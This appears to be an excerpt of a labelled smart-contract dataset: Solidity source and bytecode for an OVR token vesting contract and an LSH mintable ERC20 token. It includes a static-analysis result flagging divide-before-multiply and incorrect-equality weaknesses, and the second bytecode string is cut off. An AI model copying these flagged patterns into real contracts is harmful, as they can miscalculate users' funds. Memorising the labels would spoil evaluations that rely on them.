function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules/openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
// File: contracts/OVRVesting.sol
/**
* @title Vesting trustee contract for OVRToken.
*/
contract OVRVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
uint256 private constant vstart = 1616956200; //Sun Mar 28 2021 18:30:00 GMT+0000
uint256 public constant vcliff = 1616956200; //Sun Mar 28 2021 18:30:00 GMT+0000
uint256 public constant vend = 1648492200; // Mon Mar 28 2022 18:30:00 GMT+0000
uint256 public constant vinstallmentLength = 3600; // 60 min
// OVRToken contract.
ERC20 public constant token = ERC20(0x21BfBDa47A0B4B5b1248c767Ee49F7caA9B23697);
// Vesting grant for a specific holder.
struct Grant {
uint256 value;
uint256 start;
uint256 cliff;
uint256 end;
uint256 installmentLength; // In seconds.
uint256 transferred;
bool revocable;
}
// Holder to grant information mapping.
mapping (address => Grant) public grants;
// Total tokens available for vesting.
uint256 public totalVesting;
event NewGrant(address indexed _from, address indexed _to, uint256 _value);
event TokensUnlocked(address indexed _to, uint256 _value);
event GrantRevoked(address indexed _holder, uint256 _refund);
/**
* @dev Unlock vested tokens and transfer them to their holder.
*/
function unlockVestedTokens() external {
Grant storage grant_ = grants[msg.sender];
// Require that the grant is not empty.
require(grant_.value != 0);
// Get the total amount of vested tokens, according to grant.
uint256 vested = calculateVestedTokens(grant_, block.timestamp);
if (vested == 0) {
return;
}
// Make sure the holder doesn't transfer more than what he already has.
uint256 transferable = vested.sub(grant_.transferred);
if (transferable == 0) {
return;
}
// Update transferred and total vesting amount, then transfer remaining vested funds to holder.
grant_.transferred = grant_.transferred.add(transferable);
totalVesting = totalVesting.sub(transferable);
token.safeTransfer(msg.sender, transferable);
emit TokensUnlocked(msg.sender, transferable);
}
/**
* @dev Grant tokens to a specified address.
* @param _to address The holder address.
* @param _value uint256 The amount of tokens to be granted.
* @param _revocable bool Whether the grant is revocable or not.
*/
function granting(address _to, uint256 _value, bool _revocable)
external onlyOwner
{
require(_to != address(0));
// Don't allow holder to be this contract.
require(_to != address(this));
require(_value > 0);
// Require that every holder can be granted tokens only once.
require(grants[_to].value == 0);
// Assign a new grant.
grants[_to] = Grant({
value: _value,
start: vstart,
cliff: vcliff,
end: vend,
installmentLength: vinstallmentLength,
transferred: 0,
revocable: _revocable
});
// Since tokens have been granted, increase the total amount of vesting.
totalVesting = totalVesting.add(_value);
emit NewGrant(msg.sender, _to, _value);
}
/**
* @dev Calculate the total amount of vested tokens of a holder at a given time.
* @param _holder address The address of the holder.
* @param _time uint256 The specific time to calculate against.
* @return a uint256 Representing a holder's total amount of vested tokens.
*/
function vestedTokens(address _holder, uint256 _time) external constant returns (uint256) {
Grant memory grant_ = grants[_holder];
if (grant_.value == 0) {
return 0;
}
return calculateVestedTokens(grant_, _time);
}
/**
* @dev Revoke the grant of tokens of a specifed address.
* @param _holder The address which will have its tokens revoked.
*/
function revoke(address _holder) public onlyOwner {
Grant memory grant_ = grants[_holder];
// Grant must be revocable.
require(grant_.revocable);
// Calculate amount of remaining tokens that are still available (i.e. not yet vested) to be returned to owner.
uint256 vested = calculateVestedTokens(grant_, block.timestamp);
uint256 notTransferredInstallment = vested.sub(grant_.transferred);
uint256 refund = grant_.value.sub(vested);
//Update of transferred not necessary due to deletion of the grant in the following step.
// Remove grant information.
delete grants[_holder];
// Update total vesting amount and transfer previously calculated tokens to owner.
totalVesting = totalVesting.sub(refund).sub(notTransferredInstallment);
// Transfer vested amount that was not yet transferred to _holder.
token.safeTransfer(_holder, notTransferredInstallment);
emit TokensUnlocked(_holder, notTransferredInstallment);
token.safeTransfer(msg.sender, refund);
emit TokensUnlocked(msg.sender, refund);
emit GrantRevoked(_holder, refund);
}
/**
* @dev Revoke all the grants of tokens.
* @param _vault The address which will receive the tokens.
*/
function revokeAll(address _vault) external onlyOwner {
uint256 transferable=token.balanceOf(address(this));
token.safeTransfer(_vault, transferable);
}
/**
* @dev Calculate amount of vested tokens at a specifc time.
* @param _grant Grant The vesting grant.
* @param _time uint256 The time to be checked
* @return a uint256 Representing the amount of vested tokens of a specific grant.
*/
function calculateVestedTokens(Grant _grant, uint256 _time) private pure returns (uint256) {
// If we're before the cliff, then nothing is vested.
if (_time < _grant.cliff) {
return 0;
}
// If we're after the end of the vesting period - everything is vested;
if (_time >= _grant.end) {
return _grant.value;
}
// Calculate amount of installments past until now.
// NOTE result gets floored because of integer division.
uint256 installmentsPast = _time.sub(_grant.start).div(_grant.installmentLength);
// Calculate amount of days in entire vesting period.
uint256 vestingDays = _grant.end.sub(_grant.start);
// Calculate and return installments that have passed according to vesting days that have passed.
return _grant.value.mul(installmentsPast.mul(_grant.installmentLength)).div(vestingDays);
}
}
|
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631a64adae146100ca5780632d781e731461012b5780632f974a6b146101565780634598507b146101af57806374a8f103146101da57806378d43ec31461021d5780637c17357d1461024857806383fcf973146102735780638da5cb5b1461028a578063b869cea3146102e1578063e7dd4b2c14610366578063f2fde38b146103a9578063fc0c546a146103ec575b600080fd5b3480156100d657600080fd5b50610115600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610443565b6040518082815260200191505060405180910390f35b34801561013757600080fd5b5061014061051b565b6040518082815260200191505060405180910390f35b34801561016257600080fd5b506101ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803515159060200190929190505050610521565b005b3480156101bb57600080fd5b506101c46107bb565b6040518082815260200191505060405180910390f35b3480156101e657600080fd5b5061021b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107c3565b005b34801561022957600080fd5b50610232610b3f565b6040518082815260200191505060405180910390f35b34801561025457600080fd5b5061025d610b47565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b50610288610b4d565b005b34801561029657600080fd5b5061029f610d18565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102ed57600080fd5b50610322600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3d565b604051808881526020018781526020018681526020018581526020018481526020018381526020018215151515815260200197505050505050505060405180910390f35b34801561037257600080fd5b506103a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d8c565b005b3480156103b557600080fd5b506103ea600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f18565b005b3480156103f857600080fd5b5061040161106d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600061044d6112bc565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060e060405190810160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201548152602001600582015481526020016006820160009054906101000a900460ff16151515158152505090506000816000015114156105075760009150610514565b6105118184611085565b91505b5092915050565b610e1081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561057c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105b857600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156105f357600080fd5b60008211151561060257600080fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414151561065357600080fd5b60e060405190810160405280838152602001636060cb288152602001636060cb288152602001636241fea88152602001610e10815260200160008152602001821515815250600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff02191690831515021790555090505061074b8260025461114e90919063ffffffff16565b6002819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167ffabf00c3717e5e33d6fcc433d4d70ef919a4101fb7d5c444fe349927034eaa45846040518082815260200191505060405180910390a3505050565b636241fea881565b6107cb6112bc565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561082b57600080fd5b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060e060405190810160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201548152602001600582015481526020016006820160009054906101000a900460ff16151515158152505093508360c0015115156108df57600080fd5b6108e98442611085565b92506109028460a001518461116a90919063ffffffff16565b915061091b83856000015161116a90919063ffffffff16565b9050600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160009055600182016000905560028201600090556003820160009055600482016000905560058201600090556006820160006101000a81549060ff021916905550506109ca826109bc8360025461116a90919063ffffffff16565b61116a90919063ffffffff16565b600281905550610a0f85837321bfbda47a0b4b5b1248c767ee49f7caa9b2369773ffffffffffffffffffffffffffffffffffffffff166111839092919063ffffffff16565b8473ffffffffffffffffffffffffffffffffffffffff167fe7b379c6c1fa169e9079c25e9143b127637eef8ec8c9d5c06ddb4ab3e1195888836040518082815260200191505060405180910390a2610a9c33827321bfbda47a0b4b5b1248c767ee49f7caa9b2369773ffffffffffffffffffffffffffffffffffffffff166111839092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167fe7b379c6c1fa169e9079c25e9143b127637eef8ec8c9d5c06ddb4ab3e1195888826040518082815260200191505060405180910390a28473ffffffffffffffffffffffffffffffffffffffff167f740528a7c317c81f0923adc30df75db3f448298c78cdaf548adfcfdb3c84ff6f826040518082815260200191505060405180910390a25050505050565b636060cb2881565b60025481565b6000806000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002092506000836000015414151515610ba757600080fd5b610c148360e060405190810160405290816000820154815260200160018201548152602001600282015481526020016003820154815260200160048201548152602001600582015481526020016006820160009054906101000a900460ff16151515158152505042611085565b91506000821415610c2457610d13565b610c3b83600501548361116a90919063ffffffff16565b90506000811415610c4b57610d13565b610c6281846005015461114e90919063ffffffff16565b8360050181905550610c7f8160025461116a90919063ffffffff16565b600281905550610cc433827321bfbda47a0b4b5b1248c767ee49f7caa9b2369773ffffffffffffffffffffffffffffffffffffffff166111839092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167fe7b379c6c1fa169e9079c25e9143b127637eef8ec8c9d5c06ddb4ab3e1195888826040518082815260200191505060405180910390a25b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154908060050154908060060160009054906101000a900460ff16905087565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de957600080fd5b7321bfbda47a0b4b5b1248c767ee49f7caa9b2369773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610e9857600080fd5b505af1158015610eac573d6000803e3d6000fd5b505050506040513d6020811015610ec257600080fd5b81019080805190602001909291905050509050610f1482827321bfbda47a0b4b5b1248c767ee49f7caa9b2369773ffffffffffffffffffffffffffffffffffffffff166111839092919063ffffffff16565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f7357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610faf57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7321bfbda47a0b4b5b1248c767ee49f7caa9b2369781565b6000806000846040015184101561109f5760009250611146565b8460600151841015156110b85784600001519250611146565b6110e585608001516110d787602001518761116a90919063ffffffff16565b61126e90919063ffffffff16565b91506111028560200151866060015161116a90919063ffffffff16565b90506111438161113561112288608001518661128490919063ffffffff16565b886000015161128490919063ffffffff16565b61126e90919063ffffffff16565b92505b505092915050565b6000818301905082811015151561116157fe5b80905092915050565b600082821115151561117857fe5b818303905092915050565b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561122657600080fd5b505af115801561123a573d6000803e3d6000fd5b505050506040513d602081101561125057600080fd5b8101908080519060200190929190505050151561126957fe5b505050565b6000818381151561127b57fe5b04905092915050565b60008083141561129757600090506112b6565b81830290508183828115156112a857fe5b041415156112b257fe5b8090505b92915050565b60e06040519081016040528060008152602001600081526020016000815260200160008152602001600081526020016000815260200160001515815250905600a165627a7a723058202b200bf7c251ac4373cf11bb372fe2836cfd8c7edbf152c47adc401e085fa82d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 8,070 |
0xD7f24057BDBAb45cCBEf768d96c4519eAdcb2891
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0 || b == 0)
{
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a && c >=b);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract LSHContract {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
contract LSHToken is LSHContract{
using SafeMath for uint256;
address public owner;
uint256 private totalSupply_;
bool public mintingFinished = false;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,address indexed spender,uint256 value);
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
modifier canMint() {require(!mintingFinished);_;}
modifier hasMintPermission() { require(msg.sender == owner); _;}
modifier onlyOwner() { require(msg.sender == owner);_;}
constructor() public {owner = msg.sender;}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner
{
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner
{
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256)
{
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool)
{
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256)
{
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from,address _to,uint256 _value) public returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner,address _spender) public view returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender,uint _addedValue) public returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender,uint _subtractedValue) public returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public
{
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal
{
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public
{
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to,uint256 _amount) hasMintPermission canMint public returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool)
{
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract LSHCoin is LSHToken {
string public symbol = "LSH";
string public name = "LSH COIN";
uint8 public decimals = 8;
}
|
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010c57806306fdde031461013b578063095ea7b3146101cb57806318160ddd1461023057806323b872dd1461025b578063313ce567146102e057806340c10f191461031157806342966c681461037657806366188463146103a357806370a0823114610408578063715018a61461045f57806379cc6790146104765780637d64bcb4146104c35780638da5cb5b146104f257806395d89b4114610549578063a9059cbb146105d9578063d73dd6231461063e578063dd62ed3e146106a3578063f2fde38b1461071a575b600080fd5b34801561011857600080fd5b5061012161075d565b604051808215151515815260200191505060405180910390f35b34801561014757600080fd5b50610150610770565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610190578082015181840152602081019050610175565b50505050905090810190601f1680156101bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d757600080fd5b50610216600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061080e565b604051808215151515815260200191505060405180910390f35b34801561023c57600080fd5b50610245610900565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061090a565b604051808215151515815260200191505060405180910390f35b3480156102ec57600080fd5b506102f5610cc9565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031d57600080fd5b5061035c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cdc565b604051808215151515815260200191505060405180910390f35b34801561038257600080fd5b506103a160048036038101908080359060200190929190505050610ec3565b005b3480156103af57600080fd5b506103ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ed0565b604051808215151515815260200191505060405180910390f35b34801561041457600080fd5b50610449600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611161565b6040518082815260200191505060405180910390f35b34801561046b57600080fd5b506104746111aa565b005b34801561048257600080fd5b506104c1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ac565b005b3480156104cf57600080fd5b506104d8611454565b604051808215151515815260200191505060405180910390f35b3480156104fe57600080fd5b5061050761151b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561055557600080fd5b5061055e611540565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059e578082015181840152602081019050610583565b50505050905090810190601f1680156105cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105e557600080fd5b50610624600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115de565b604051808215151515815260200191505060405180910390f35b34801561064a57600080fd5b50610689600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611802565b604051808215151515815260200191505060405180910390f35b3480156106af57600080fd5b50610704600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119fe565b6040518082815260200191505060405180910390f35b34801561072657600080fd5b5061075b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a85565b005b600260009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108065780601f106107db57610100808354040283529160200191610806565b820191906000526020600020905b8154815290600101906020018083116107e957829003601f168201915b505050505081565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561094757600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099557600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a2057600080fd5b610a7282600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bda90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0782600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf690919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd982600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bda90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3957600080fd5b600260009054906101000a900460ff16151515610d5557600080fd5b610d6a82600154611bf690919063ffffffff16565b600181905550610dc282600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf690919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b610ecd3382611c21565b50565b600080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610fe1576000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611075565b610ff48382611bda90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffff